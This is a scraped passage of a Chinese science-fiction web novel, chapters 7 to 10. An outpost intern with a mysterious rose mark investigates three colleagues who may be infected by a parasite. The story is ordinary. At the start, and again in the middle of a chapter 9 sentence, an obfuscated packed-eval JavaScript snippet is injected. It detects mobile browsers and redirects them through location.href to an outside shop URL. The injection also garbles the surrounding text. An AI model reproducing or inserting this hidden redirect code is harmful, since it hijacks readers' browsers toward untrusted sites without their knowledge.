;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189770|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔷薇是她目前唯一的信息源,现在印记发烫,明显是感应到了什么,可蔷薇却不回应。 “好了没?”老陈的声音近了,他往回走了两步,手电光晃过来。 林星光迅速收回手,站起身。 “好了。” 她弯腰捡起自己的手电,脸上挂起歉意的笑:“不好意思陈叔,鞋带老松。” “你们年轻人,就是毛躁。”老陈没起疑,转身继续往前走,“赶紧的,走完回去还能眯一会儿。” 林星光跟上。 她把手电换到左手,右手垂在身侧,指尖微微颤抖。 能量接收塔那里,肯定还有残留的东西。某种能量,或者别的什么。 蔷薇没回应,是因为能量不够?还是因为那里有危险,他不能暴露? 她不知道。 她也没得选。 蔷薇说过,不帮他,她会死,蔷薇也会死。她不想死,她还没活够。 所以她必须查,必须找到那三个能量源的秘密,必须弄清楚那个寄生体到底是什么,到底想干什么。 夜巡还在继续。 巡夜的路走了快两个小时,从生活区到培育区,从能量接收塔到物资储备仓,两人把规定的路线走了个遍,巡检仪的数值全程平稳,没半点异常。老陈走得腿酸,嘴里的烟也抽完了,一个劲地嘟囔着:“我说没事吧,站长就是小题大做,折腾人。” 林星光笑着附和。 巡完最后一站,已经是晚上十点半。 两人回到值班室,在巡查记录上签了字,跟下一班巡夜的人做了交接。 老陈打着哈欠收拾东西:“行了,今天就到这儿。” “好,陈叔辛苦了。” “你也早点歇着。” 林星光目送老陈离开,才慢慢收拾自己的东西。 ------------------------------------- 回到宿舍,洗漱,换睡衣。 林星光躺在床上,关了灯。 黑暗从四面八方涌过来,包裹住她。 她睁着眼睛,盯着天花板。 脑子里很乱。赵锐、李文、孙小雅、能量接收塔、焦黑色纹路、发烫的印记…… 碎片一样的画面和疑问搅在一起,理不出头绪。 她需要更多信息。 可蔷薇不出现,她连问都没地方问。 只能靠自己查。 怎么查?她只是个后勤实习生,权限低,能动用的资源有限。直接去问那三个人?太冒险。暗中观察?效率太低,而且容易打草惊蛇。 她翻了个身,侧躺着。 不知道过了多久,睡意终于慢慢爬上来。 她闭上眼睛。 然后,她做了梦。 她看见一个扭曲的界面,半透明,浮在半空中。界面上有跳动的数字和文字,但她看不懂,那些符号歪歪扭扭,像某种陌生的文字。 界面中央有个倒计时,数字跳得飞快,看不清具体是多少,只有一片刺目的红,晃得她眼睛疼。 还有个声音在重复,机械且没有起伏,像没有感情的电子音: “完成它……就能离开……” “完成它……就能离开……” 画面晃动,切换。 她看见一只手,伸向那个界面,像是她自己的手又像是别人的手。指尖触碰到半透明屏幕的瞬间,感觉有一股冰冷的触感顺着手指爬上来,钻进血管。 她猛地想缩手,但手动不了。 界面上的倒计时加速跳动。 那个声音变得急促: “能量不足……请补充……” “能量不足……请补充……” 然后,画面碎了,一片一片崩开。在碎片里,她瞥见一些模糊的影子,像是人形,又不像,扭曲着,蠕动着。 最后一切归于黑暗。 只剩那个声音,还在耳边低语: “完成它……” 林星光猛地睁开眼。 心跳得厉害,撞得胸口发疼。她喘着气,额头上全是冷汗。 房间里一片漆黑。 她慢慢坐起来,摸到床头的水杯,喝了一大口。冰凉的水滑过喉咙,稍微压下了那股心悸。 梦里的画面还在眼前晃。 那个界面……那个倒计时……那个声音…… 那是什么?! 8. 冰冷波动 宿舍里一片漆黑,只听得到通风口细微的气流声,还有她自己粗重的呼吸。 林星光躺了几秒,才意识到自己刚才是在做梦。 但那个梦太清晰了。扭曲的界面,跳动的红色倒计时,冰冷的电子音……还有那种被什么东西钻进血管的感觉,真实得让人头皮发麻。 她坐起来。 额角的冷汗滑到鬓边,有点痒。她抬手抹了一把,指尖冰凉。 窗外还是黑的。前哨站的夜晚还没结束,离天亮应该还有段时间。她摸到枕头边的终端,按亮屏幕。 4:47 没睡几个小时。 林星光靠在床头,闭上眼睛,试图把梦里那些原本清晰碎片拼起来。 但越想,那些画面就越模糊,到最后只剩下一股残留的心悸,还有耳边仿佛还在回响的“完成它……完成它……” 她深吸一口气,又慢慢吐出来。 别想了。梦就是梦。 林星光刚想躺下,脖颈侧边那块皮肤,却忽然传来一点细微的动静。 这次不是发热,像有什么东西在里面轻轻动了一下。 林星光慢慢抬手,指尖小心翼翼地点在蔷薇印记的位置。 温热的。 她屏住呼吸,仔细感受。 啵。 很轻的一下,从皮肤下面传来,像有颗很小的种子在里面轻轻顶了顶。 啵。 又一下。 时间间隔大概七八秒一次,微弱得几乎察觉不到,如果林星光此时没有被梦惊醒,绝对毫无察觉。 林星光收回手,在黑暗里盯着自己的指尖。 所以……蔷薇还在。 难道是没力气了?她想起了初次交会时它说过的能量不足。 这个认知让她心里稍微踏实了点,但紧接着又提了起来。如果蔷薇真的虚弱到这种程度,连虚影都维持不了,只能这样微弱地“跳动”…… 那她该怎么办? 她想起蔷薇说的“你会死,我也会”。 那应该不是玩笑。 林星光掀开被子下床。脚踩在地板上,冰凉的感觉让她清醒了些。她走到洗手间,没开大灯,只按亮了镜前那盏小灯。 昏黄的光晕开一小圈,刚好照亮镜子里的半张脸。 她侧过头,拉开睡衣衣领。 颈侧的蔷薇印记在灯光下显得很柔和,淡粉色的花瓣轮廓清晰,边缘泛着极淡的光泽,不仔细看会以为是皮肤的自然反光。 她盯着看了几秒,然后试探性地在脑海里轻轻叫了一声:“蔷薇。” 没反应。 印记安静地贴在那里,只有那股间隔很久才跳动一下的微弱脉动,证明它不只是个纹身。 林星光等了一会儿,确定不会得到回应,便拧开水龙头,掬了捧冷水洗脸。 冰凉的水拍在脸上,困意散了大半。她抬头看着镜子里的自己,天生笑唇,眉眼弯弯,哪怕现在面无表情,看着也像带着三分笑意。 她扯了扯嘴角,镜子里的人也跟着笑了。 好了。 她关掉水龙头,用毛巾擦干脸和脖子。 回到房间,她没再躺下。离天亮还有一会儿,反正也睡不着了,不如早点收拾。 她换上工装,把拉链拉到顶,对着小镜子调整领口,确保印记被完全遮住。然后开始整理床铺,把被子叠成标准的方块,枕头拍平,床单拉得没有一丝褶皱。 这些事她做得很慢,很仔细。手上的动作能让她脑子暂时放空,不去想梦里那些画面,不去想印记的跳动,也不去想赵锐李文孙小雅那三个人。 把整个房间整理完毕,才五点半。 食堂六点开门。她坐在椅子上,打开终端,调出今天的工作安排表。 上午要去仓储区清点一批新到的营养液,下午要帮老王整理维修记录,晚上…… 今晚不轮她巡夜,但老陈昨天说值班室缺人手,问她能不能去帮忙盯两个小时。 她答应了。 总是这样。谁找她帮忙,她几乎从不拒绝。小林最好说话,这是前哨站大部分人对她的印象。 她知道。她故意的。 一个好说话的人,才会更有用。不要说什么职场霸凌,有工作才有职场,如果无法转正,她还得去其他地方寻找机会。比绿源-III好的地方也轮不到她。 而且,别人找你帮忙,欠你人情,下次你有需要的时候,才好开口。 虽然她很少开口。 终端屏幕的光映着她的脸。她看着工作安排表,脑子里却在想别的事。 那三个人…… 今天得再观察观察。 六点整,她关掉终端,起身出门。 走廊里已经有人走动的声音。隔壁刘姐的房间里传来窸窸窣窣的动静,大概也在准备起床。 前哨站的早晨就是这样,虽然不用花很多时间通勤,但每一天开始得并不会晚。 林星光拉开门,走出去,反手轻轻带上。 通道里的照明系统刚切换到晨间模式,光线还是偏暗,带着点暗紫的色调。 她沿着走廊往食堂走,一路不停地跟路过的人打着招呼。 食堂的门已经开了,里面亮着灯,食物的热气混着光绒菜那股特有的清苦味飘出来。这个点来吃饭的人还不多,窗口前排着三四个人,都是要赶早班的技术员。 林星光走过去,排在最后。 她低着头,看上去一副呆头呆脑还没清醒的样子,实际上余光扫着整个食堂。 靠窗的角落空着。中间那张大圆桌旁坐着两个维修组的人,正一边吃包子一边低声聊天。最里面那张桌子…… 她的目光停了一下。 赵锐坐在那里。 一个人。面前摆着一大盘炒饭,还有两个合成肉饼。他吃得很香,大口大口地往嘴里塞,时不时抬头看一眼食堂门口的方向。 他在看什么? 林星光收回目光,不能观察太久,异能者都很敏锐。 而且,轮到她了。 窗口后面的阿姨认得她,笑着打招呼:“小林今天这么早?” “睡不着就起来了。”林星光笑笑,“阿姨早。” “吃点什么?今早有豆浆,刚煮的。” “那就豆浆,再加两个菜包吧。” “好嘞。” 阿姨麻利地打好东西,递出来。林星光接过餐盘,道了谢,转身环顾一圈。 她在犹豫坐哪儿。 按照平时的习惯,她会找认识的人一起拼桌。吃饭的时间虽然短暂,但也是社交的好时机。但今天…… 林星光心里顿了一下,脚步自然地朝靠窗的一张桌子走去。那里视野更开阔一点。 刚放下餐盘坐下,就看见李文从食堂侧门走了进来。 他穿着工装,头发有点乱,眼睛下面挂着淡淡的黑眼圈,看起来没睡好。他走到窗口,要了一碗粥和一个馒头,然后端着餐盘,朝着……朝着她这边走了过来。 林星光喝了一口豆浆,还没抬头的时候,就听到了一个声音: “这儿有人吗?” 是李文。他站在桌子对面,端着餐盘,表情有点拘谨。 林星光抬起头,露出惯常的笑:“没人,李哥坐吧。” “谢谢。”李文在她对面坐下,把餐盘放好,小口小口地喝起粥。 两人沉默地吃着早饭。 林星光咬了一口包子,咀嚼得很慢。光绒草的口感很糟糕,吃得慢也很正常。 她能感觉到李文偶尔投来的目光,又轻又快,一触即离。那种被观察的感觉,让她后背的肌肉微微绷紧。 她假装没察觉,也不问那么多空桌,对方怎么就坐自己对面来了,只是低头喝豆浆。 “小林。”李文忽然开口。 林星光抬起头:“嗯?” “你……没事吧?”李文的目光落在她身上,“那天晚上,我听说你也受到能量波冲击了。” “没事,就擦破点皮,应该伤得最轻了。”林星光笑了笑,“李哥你呢?真没事了?我看你脸色好像还有点白。” “我也没事,没睡好罢了。”李文摇摇头,低头继续喝粥,“就是这几天老是做噩梦。” 噩梦? 林星光将手里的光绒草包子又放回了餐盘,抿了一口豆浆。 “好巧,我也做噩梦了。”她说,像是终于找到了倾听者,迫不及待地说,“我梦见好多次那晚的光朝我砸过来,然后把我砸死了,接着就吓醒了。” 说完,她又有点不好意思地补充:“让李哥笑话了,我平时也不是这么胆小,就 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外面的通道亮堂了些,晨间照明完全启动了,冷白的光洒在金属墙壁上。她沿着走廊往仓储区走,脑子里却在回想刚才和李文的对话。 不对劲。 李文平时不是会主动找人帮忙的性格。他腼腆,内向,有事宁愿自己憋着,也不会轻易开口。今天却特意跑来跟她一起坐,甚至还让她帮忙…… 不管谁来看都很诡异了。 林星光的脚步慢了下来。 她走到一个拐角处,停下,靠在墙壁上,闭上眼睛。 脑子里闪过一些画面。 李文低头喝粥时,手腕上露出一小块皮肤。那里好像有个淡淡的印子,颜色很浅,像是淤青快消掉的样子。看起来应该就是当时他受伤的位置了,当时苏医生说的有人断胳膊断腿,但看那淤青的模样,也不像断过的样子。 还有他的眼神,带着一种说不出的急切。 他在着急什么呢? 林星光睁开眼,深吸一口气。 她继续往前走。 仓储区在生活区另一头,要穿过一条长长的封闭通道。通道里只有她一个人的脚步声,嗒,嗒,嗒,在金属墙壁间回荡。 走到一半的时候,她忽然觉得有点闷。 倒不是空气不好,氧气不足的那种憋闷,前哨站的制氧系统一直运转正常。她感觉心里有点发闷,像有什么沉甸甸的东西压在胸口,喘不过气。 她停下脚步,手扶在墙壁上,皱了皱眉。 之前从医疗站出来的时候明明身体一切正常,这又是怎么回事? 林星光站直身体,环顾四周。 通道里空荡荡的,前后都没有人。两侧是光滑的金属墙壁,头顶的灯光稳定地亮着,一切看起来都很正常。 但那股闷意还在。 她试着往前走了几步。 闷意没有减轻。 她又往后退了几步。 还是一样。 所以,并不是这片区域本身有什么问题吗? 难道真的是自己身体有毛病? 涉及到自身,林星光的心跳快了几拍。但她不太相信自己的身体有问题,前两天的体检一切正常,而且自己除了这突如其来的胸闷以外,也没有任何不适之处。 她定了定神,闭上眼睛,强迫自己静下心来,仔细感受。 前哨站的温度一直都有控制,变化不大,味道也没有不对劲,最近也没听到什么异常的声音。 林星光不知道该怎么描述,感觉是一种更模糊的什么东西。 就像站在一台低频运转的机器旁边,虽然听不见声音,但能感觉到那种轻微的震动。 而且这股震动里,带着一种冰冷。 对,冰冷。 和昨天在能量接收塔那里,指尖碰到焦黑纹路时的感觉好像差不多。 林星光的呼吸微微急促起来。 她能感觉到? 怎么回事? 就像突然多了一个感官,能捕捉到某种以前察觉不到的东西。 她睁开眼睛,盯着自己的手。 指尖微微颤抖。 那股波动,冰冷的,带着侵略性的。 9. 异常记录 林星光在原地缓了好一会儿,才抬脚往仓储区走。 她今天早上的工作是清点新到的营养液,这批货昨天傍晚才到,堆在仓储区。因为连夜卸的货,单据还没来得及整理,老陈特意嘱咐她今早务必清完,下午要上报核心区物资科。 仓储区的门是厚重的合金门,刷了权限卡才会缓缓滑开,里面飘着一股淡淡的营养液味道,甜丝丝的,混着金属的冷味,是绿源-III特有的味道。 守仓库的老张正坐在门口的小板凳上擦扳手,看见她来,抬了抬下巴:“小林来啦?营养液在三号仓,我这两天手疼,箱子上的编码还没贴。” “张叔早。”林星光笑着走过去,拿过老张身边的扫码器,“我先点数量,贴编码的事我一会儿弄,核心区那边还催着要上报数呢。” “催催催,就知道催。”老张撇撇嘴,把扳手往旁边一放,“核心区那帮大爷又不缺这点东西,偏要卡着我们的数。我们前哨站才多大需求啊,能比得上他们核心区?” 林星光没接话,只是笑了笑。 这种抱怨她听得多了,前哨站的人对核心区一般都有股说不清道不明的怨气。 资源倾斜太严重,这边紧巴巴的,那边却大手大脚,换谁都心里不舒服。 不过这些都是上面安排好的,再抱怨也没用,所以笑一笑,听着就好。 一进三号仓,就看见里面堆着一排排蓝色的营养液箱子,一人多高,码得整整齐齐。 林星光打开终端,连接上扫码器,开始一箱一箱地扫。扫码器发出“滴”的轻响,终端屏幕上的数字一点点跳,她的动作麻利,手指捏着扫码器,手腕轻轻转动,扫完一排就往旁边挪一步,脚步轻快。 李文主动坐自己对面跟自己一起吃早饭,真是奇怪。而且还附和自己的话,说他也做噩梦,赞同那道光太吓人。 甚至主动问她今晚是不是在值班室,让她帮忙留意外植区的监控。这有点不像平时的他。 前几天水管坏了的事,维修科早就修好了,全前哨站都知道,不可能他一个水系的异能者不知道。 还有他手腕上的那块淡印,看着根本不像受过重伤的样子,连皮外伤都算不上。 她越想越觉得不对劲,手里的扫码器顿了一下,扫偏了,没扫到箱子上的编码,终端发出一声短促的提示音。 林星光回过神,深吸一口气,重新扫了一遍。 别想了别想了,先干活。 她扫完最后一箱,终端屏幕上跳出最终的数字,和单据上的数量对上了,一分不差。她松了口气,把扫码器放在旁边的箱子上,靠在箱壁上歇了歇,稍微压下了一点心里的烦躁。 颈侧的印记突然轻轻跳了一下,像微弱的脉搏跳动,一下就没了。 林星光抬手摸了摸,印记跟自己的皮肤一个温度,也没别的反应。 蔷薇应该还在,只是依旧沉默。 可除了这偶尔的跳动和温热,蔷薇再没有任何动静,像个沉睡的种子,埋在她的皮肤里。 歇了两分钟,林星光又开始给箱子贴编码,一张一张地撕,贴在箱子的右上角。 她做事情向来这样,不管心里多乱,手上的活从来不会出问题。 贴完编码,整理好单据,已经快上午十一点了。 林星光拿着单据,让老张签了字,又把扫码器还给他,才转身走出仓储区。 “张叔,我回后勤科了,单据我去交给陈叔。” “行,慢走。” 回到后勤科,办公室里安安静静的,老陈不在,值班室里也没人。估计是去站长办公室汇报工作了,至少他不会没事找事,自己主动工作。 老陈的办公桌上堆着一摞厚厚的单据,还有一个亮着的终端,屏幕上显示着后勤工作对接记录的界面,旁边压着一张老陈的便签,字迹歪歪扭扭:小林,把上周的工作对接记录整理好,按科室分类,下午下班前放我桌上。 真是不出所料。 林星光把手里的营养液单据放在一边,拉过椅子坐下,看着桌上的单据,轻轻叹了口气。 又是一堆活,纸质、电子都要留痕。 但她也没抱怨,伸手把那摞单据拉到面前,又点开终端上的对接记录界面,开始整理。 后勤科的工作琐碎,对接记录更是五花八门,哪个科室领了什么物资,哪个区域的设备坏了对接了维修科,哪个班组的巡夜路线有调整,全都要记在里面,不能出错。 林星光的手指在终端屏幕上划拉着,指尖敲了敲面板,调出上周的总记录,然后按科室分类,先从行政科开始,再是维修科,一个个来。 她整理得很认真,这种重复的工作能让她的脑子暂时放空,不用去想那些诡异的人和事。 可当她的手指划过终端屏幕,调出防卫队的对接记录时,目光还是不自觉地顿住了。 防卫队里有赵锐。 林星光顿了顿,然后又装作若无其事地继续划拉。 老陈的权限比她的大,应该能看到更多东西。 防卫队的对接记录很简单,大多是申领训练器材,或者对接巡逻路线的调整,林星光往下翻,翻到8月24号的记录,也就是赵锐出院后的第二天时,看到了有些奇怪的记录:【赵锐,因能量接收塔周边安保巡查,前往该区域,耗时一小时,报告无异常。】 能量接收塔。 林星光的手指在屏幕上点了一下,放大了这条记录,确认了时间和地点,下午三点,赵锐以安保巡查的名义,去了能量接收塔,耗时一小时。 能量接收塔对前哨站来说非常重要,所以不管去干什么,都得记录下来。 她跳过后面的内容,又快速翻到环境维护科的记录,李文就在这个科室。 几乎是一模一样的情况。 李文出院后第三天上午的对接记录上写着:【李文,因能量接收塔周边水资源补充,前往该区域,耗时四十分钟,行为无异常。】 又是能量接收塔。 林星光的心跳快了一点,她深吸一口气,压下心里的波澜,又调出通讯科的记录。 孙小雅。 果不其然。 孙小雅出院后的当天:【孙小雅,因能量接收塔周边通讯设备检测,前往该区域,耗时五十分钟,无异常。】 三个人,出院后第一时间,都以工作的名义,去了同一个地方——能量接收塔。 就算设备一定要检查、资源一定要补充,三个科都找不出其他人,一定要这三个刚出院的人去吗? 所以,这不是巧合。 绝对不是。 能量接收塔,就是那晚她遇袭的地方。这三个人,出院后第一时间就往那里跑,他们去干什么?是那个寄生体操控他们去的?还是那里有什么东西,吸引着他们? 她的手指在屏幕上快速滑动,把这三条记录都记在心里。 整理完对接记录,林星光又顺手点开了上周的物资申领记录,本来只是例行公事,却没想到又发现了异常。 她的目光扫过申领人那一栏,又看到了那三个熟悉的名字。 赵锐,李文,孙小雅。 三个人都在昨天,申领了同一种东西——高浓度能量补充剂。 林星光的眉头皱了起来,她不是异能者,但也知道这种能量补充剂到底是干什么用的。 她点开这种补充剂的详情,屏幕上跳出介绍:高浓度能量补充剂,适用于中高阶异能者能量透支时补充,浓度为普通补充剂的五倍,普通人及低阶异能者慎用。 慎用。 赵锐是C级强化系就不说了,李文是D级元素系,孙小雅是E级特殊系,都是低阶异能者,平时都只用普通的能量补充剂。 对他们来说,高浓度补充剂不仅没用,还可能因为能量浓度太高,对身体造成负担,甚至导致能量紊乱。 可他们三个人,昨天都申领了,每人两瓶。 要知道,普通的能量补充剂是前哨站直接免费配给异能者的,但高浓度能量补充剂可是得花钱的。 林星光往下翻,看了看他们平时的申领记录,赵锐上一次申领补充剂是一个月前,普通的;李文从来没申领过;孙小雅倒是申领过一次,也是普通的,还是三个月前。 昨天一天,三个人不约而同地申领了高浓度能量补充剂,真是太异常了。 林星光心下了然。 越来越清晰了,这三个人绝对就是蔷薇所说的被侵蚀的能量源了。 但他们去能量接收塔干什么呢?是探查那个焦黑的印记,还是有什么不得不去的原因? 申领高浓度补充剂又是因为什么呢?是强化自己吗?但那个东西明明对他们的身体有害。 那他们的目标是什么? 是自己吗? 她是载体,他们是燃料,寄生体想要标记她,虽然失败了,但也肯定不会放过她。 那三个人,是不是寄生体操控着来盯着她,准备再次对她下手的? 林星光的后背沁出了一层薄汗,凉丝丝的,贴在衣服上,很不舒服。 就在这时,颈侧的蔷薇印记突然毫无征兆地发烫。 跟平时微弱的温热不一样,像有一团小火苗在皮肤下面烧起来,滚烫的热,灼得她脖子一阵刺痛。 她下意识地缩了缩脖子,手也抬起来,按住了颈侧的印记。 这个烫意来得太突然,也太强烈,林星光甚至忍不住闷哼了一声,指尖捏着衣领,想把衣领拉开一点,透透气。 但她的目光猛地抬起来,看向后勤科的门口。 有个身影站在那里,正轻轻敲着门框,脸上带着浅浅的笑,正是孙小雅。 “小林,忙呢?”孙小雅的声音细细的,柔柔的,和平时一样,“我来领通讯科的办公用品,老陈说让我找你拿就行。” 林星光的心跳瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189772|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间提到了嗓子眼,她飞快地压下心里的慌乱,脸上立刻挂上了讨喜的笑,手指在终端屏幕上快速点了一下,关掉了物资申领的记录页面,切换到了办公用品的申领界面。 “小雅姐,你来啦。”她站起身,笑容恰到好处,眉眼弯弯,“我不忙,刚整理完记录,正准备歇会儿呢。你要什么办公用品?我给你拿。” 孙小雅走进来,反手轻轻带上了门,她的目光扫了一眼办公桌上的单据,又似有若无地扫了一眼林星光的终端屏幕,然后落在林星光的脸上,笑了笑:“也没什么,就是领几支笔,还有两个新的通讯器,科里的旧的坏了,我刚刚送去维修科了。” “好嘞。”林星光点点头,转身走到旁边的储物柜前,打开柜门,里面整整齐齐地摆着各种办公用品,笔在最下面一层,她弯腰去拿,借着弯腰的动作,平复了一下心里的慌乱。 颈侧的印记还在发烫,烫得她脖子一阵阵疼,而孙小雅靠近的瞬间,那股熟悉的胸闷感又猛地加重了,像有一只冰冷的手,攥住了她的心脏,让她喘不过气。 她能感觉到孙小雅的目光落在她的背上,轻飘飘的,却带着一股说不出的压迫感,像蛇的信子,舔过皮肤,凉飕飕的。 很奇怪,之前在食堂碰到她的时候还没有这种感觉。 林星光拿起两盒笔,又从上层拿了两个新的通讯器,转身递给孙小雅,脸上的笑依旧温柔:“小雅姐,你点点,两盒笔,两个通讯器,都是新的,刚到的货。等下在领取单上签个字就可以了。” 孙小雅伸手接过来,手指碰到了林星光的指尖。 一股冰冷的触感从指尖传来,林星光下意识地缩了缩手,孙小雅却像是没察觉,只是低头点了点东西,笑着说:“没错,谢谢小林啦,每次都麻烦你。” “不麻烦,应该的。”林星光摇摇头,往后退了一步,距离一拉开,胸口的闷意就稍微减轻了一点,颈侧的印记发烫也稍微缓和了一点,“小雅姐恢复得挺好的嘛,看你现在精神多了。” 她故意提起这个,想看看孙小雅的反应。 孙小雅的动作顿了一下,然后抬起头,笑了笑,眼神里却闪过一丝慌乱,快得像流星,稍纵即逝:“还好啦,就是还有点累,慢慢养着就好了。不过我是异能者,应该要不了多久就能完全恢复了。话说回来,那天的能量波太吓人了,现在想起来还怕。” 林星光在心里冷笑,面上却装作深有同感的样子:“可不是嘛,我也怕,那晚我差点以为自己要死了,我可是个普通人,当时连手环都碎掉了。” “是啊。”孙小雅敷衍地应了一句,目光又扫了一眼林星光的终端,然后把笔揣进兜里,通讯器抱在怀里,“那我先走了,科里还等着用呢,谢谢你啊小林。” “慢走小雅姐。”林星光笑着摆摆手,看着孙小雅的背影走出后勤科,轻轻带上了门。 门关上的瞬间,林星光脸上的笑容瞬间消失了,她靠在储物柜上,长长地吐出一口气,手依旧按在颈侧的印记上。 那股滚烫的温度,正在慢慢褪去,一点点恢复成原来的温热,胸口的闷意也跟着消失了,呼吸终于顺畅了。 她低头看着自己的指尖,刚才碰到孙小雅的地方,那么冰冷。 林星光走到办公桌前,坐下。 刚才孙小雅靠近的时候,印记发烫,胸闷加重;孙小雅走了,印记的温度就降下来了,闷意也消失了。 不止是孙小雅,早上在食堂,李文坐在她对面的时候,她也有轻微的闷意,只是当时没在意,现在想来,应该也是一样的原因。 在走廊那会儿,胸闷是不是有可能就是因为赵锐就在一墙之隔的地方呢? 原来如此。 所以,她的颈侧的蔷薇印记,是在提醒她,警示她,只要那三个人靠近,印记就会有反应,那股胸闷的感觉,也是印记带来的,或者说是蔷薇带来的,是在告诉她,这三个人身上有危险吗? 蔷薇虽然陷入了沉睡,无法回应,无法出现,但它一直在用自己的方式提醒她? 也不知道这个想法到底对不对,但这个认知让林星光的心里稍微安定了一点。至少,这样想的话,她就不是孤军奋战。 但紧接着,更多的不安涌了上来。 蔷薇的能量明显不足了,刚才应对孙小雅的靠近,都只是让她感觉到闷和印记发烫,没有更多的反应。要是下次那三个异能者一起靠近,甚至对她动手,蔷薇还能保护她吗? 答案是否定的。 林星光虽然不清楚为什么,但蔷薇现在很明显连维持自身的存在都很勉强,根本没有多余的能量来保护她,刚才的那些反应,应该已经是它尽了最大的努力。 绝不能想着依靠别人,她必须靠自己。 靠自己的眼睛,靠自己的脑子,靠自己一切生存本事,躲开那三个人,找到他们的秘密,找到对付那个寄生体的方法。 否则,她真的会死。 10. 医疗站内 孙小雅走后,林星光先去随便吃了个午饭,然后又回来继续工作。她靠在椅背上,无意识抬手摸了摸颈侧的印记,温度已经正常,温温热热的,跟周围的皮肤都差不多。 现在回想起来,之前孙小雅进来的时候,眼神往她终端上扫了一眼。 她在看什么? 是想确认自己在干什么,还是单纯的好奇? 在她进来之前,自己正好在看他们几个申领高浓度能量补充剂的记录,她看到了吗? 林星光想不明白,也没时间多想。老陈的活儿还堆在那儿,下午下班前得整理完,她总不能一直坐在这儿发呆。 她深吸一口气,重新坐直,把注意力拉回眼前那堆记录上。 手指在终端屏幕上划拉,一份份记录过目,分类归档。 她机械地重复着这些动作,脑子里却忍不住又冒出别的事。 孙小雅刚才的反应,太奇怪了。 她说孙小雅恢复得很好时,孙小雅明显顿了一下,然后才笑着找了个自己是异能者的借口。那个停顿,有点奇怪。 还有她说话时的眼神,说实话真的有点飘忽不定,像在躲什么,又像在找什么。 不对劲。她的眼神怎么那么奇怪? 林星光把手里的东西翻了个面,继续分类。 这三个人,赵锐、李文、孙小雅,出院后都去过能量接收塔,都申领了高浓度补充剂,而且…… 她想起早上在食堂,李文主动坐过来跟她说话,还让她帮忙留意外植区的监控。 为什么是外植区呢? 外植区就是作物培育区,是因为能量接收塔也在那边吗? 李文让她留意那边的监控,是想确认什么?还是只是个借口呢? 她皱了皱眉,把这事记在心里。 时间过得很快。 林星光把老陈交代的活儿干完,又去仓储区跑了一趟,把新到的几箱物资清点入库。老张不在,守仓库的是个新来的小伙子,说也是个实习生,手脚还不太不利索,她只好多待了会儿,帮他把东西码好。 等忙完这些,已经快五点多了。 她站在仓储区门口,看了眼时间。食堂六点开门,还有半个小时。 现在回宿舍也没事。 她想了想,打算去趟医疗站。 王磊是那个唯一还没醒的人,四个受伤的异能者,三个醒了还状态异常,只有他躺在医疗舱里,这本身就透着不对劲。蔷薇说那三个是燃料,那王磊呢?是没被侵蚀成功,还是被侵蚀得太严重? 不管是哪一种,王磊身上肯定有线索。 她打算以后勤的名义去医疗站慰问,再合适不过。前哨站就这点好,人少,人情往来的表面功夫做足了,没人会怀疑一个向来乖巧的后勤实习生,毕竟她只是去看看受伤的同事。 林星光走到后勤科的小储物间,里面摆着些前哨站发的慰问品,大多是些烘干的星际水果干,是核心区偶尔补给过来的。味道一般,但还好都没过期,平时都留着给受伤或者生病的人。她拿了个白色的纸袋子,装了两包水果干,显得心意,不会让人觉得刻意。 医疗站离后勤科不算远,拐两个弯就到。路上要经过维修科,老王大概率在里面,要是碰到,还得应付两句,不过现在快到饭点了,他估计也要去食堂,应该碰不上。 她的猜测没错,一路走过去,维修科的门开着,里面空荡荡的,只有工具散在工作台上,没人。 倒是在拐角处碰到了张姐,张姐手里拎着两个饭盒,看见她就喊:“小林,去医疗站啊?正好,帮我给小苏带个饭盒,她今天值班,没时间去食堂,我打算回宿舍吃。” “好嘞张姐。”林星光伸手接过饭盒,是个粉色的保温盒,上面印着和小苏手腕上一样的太空兔,“保证送到。” “谢啦丫头。”张姐笑哈哈地走了。 林星光拎着纸袋子和保温盒,继续往医疗站走。多了个饭盒,倒是更自然了,没人会怀疑她是特意去打听情况的,只当她是顺路帮忙的小林。 医疗站的门是常开的,进去就是前台,消毒水的味道扑面而来,混着一点淡淡的药味。 前台的电脑屏幕亮着,上面滚动着病人的信息,常驻的杨医生看见她进来,抬了抬头:“小林?来换药?” “杨医生好,我不换药。”林星光走到前台,把纸袋子放在桌上,“来看看王哥,一点小心意。还有张姐给苏医生带的饭盒,她人呢?” “小苏在里面看监测仪呢,王磊的指标又有点波动。”杨医生放下笔,指了指里面的观测区,“你进去吧。” “好,谢谢杨医生。”林星光点点头,又状似不经意地问,“王哥这几天还是没醒吗?” 提起王磊,杨医生皱了皱眉,拿起桌上的水杯喝了一口,语气里带着点无奈:“还是那样,醒不过来。各项身体指标都正常,心率、血压、血氧,啥都没问题,就是能量紊乱得厉害,医疗舱里的稳定液都换了三瓶了,他那股能量还是乱晃,跟没头的苍蝇似的,就是不醒。” “那会不会有啥危险啊?”林星光露出担忧,眉头轻轻皱着,“他跟赵哥一样都是强化系,按理说恢复力应该挺好的,怎么就一直醒不过来呢?” “谁知道呢。”杨医生叹了口气,“探索带的怪事多,那晚的能量波也邪性,不是普通的乱流,指不定是沾了啥奇怪的东西,只是目前的技术发现不了而已。我们也就这点本事,能稳住他的身体,醒不醒的,全看他自己的意志力了。” 林星光哦了一声,没再多问,拎着纸袋子和保温盒走了进去。 